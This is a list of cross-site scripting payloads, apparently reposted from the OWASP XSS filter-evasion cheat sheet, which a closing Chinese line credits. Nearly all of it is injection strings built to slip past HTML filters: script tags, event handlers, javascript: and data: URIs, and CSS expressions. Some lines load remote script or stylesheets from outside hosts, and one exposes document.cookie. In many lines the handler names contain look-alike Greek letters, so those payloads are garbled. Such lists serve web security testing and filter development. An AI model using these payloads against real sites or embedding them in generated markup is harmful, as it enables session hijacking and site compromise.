<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC= &#14javascript:alert(‘XSS’);”>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)”
</script><script>alert(‘XSS’);</script>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<svg/οnlοad=alert('XSS')>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<script>alert(/xss/)</script>
<svg οnlοad=alert(document.domain)>
<img src=document.domain οnerrοr=alert(document.domain)>
<M οnmοuseοver=alert(document.domain)>M
<marquee οnscrοll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body οnlοad=alert(document.domain)>
<details open οntοggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 οnerrοr=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 οnerrοr="alert(&quot;M&quot;)">
<marquee οnscrοll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
"><img src=x οnerrοr=alert(document.cookie)>.gif
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe>
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

大部分内容来自:

https://owasp.org/www-community/xss-filter-evasion-cheatsheet


评论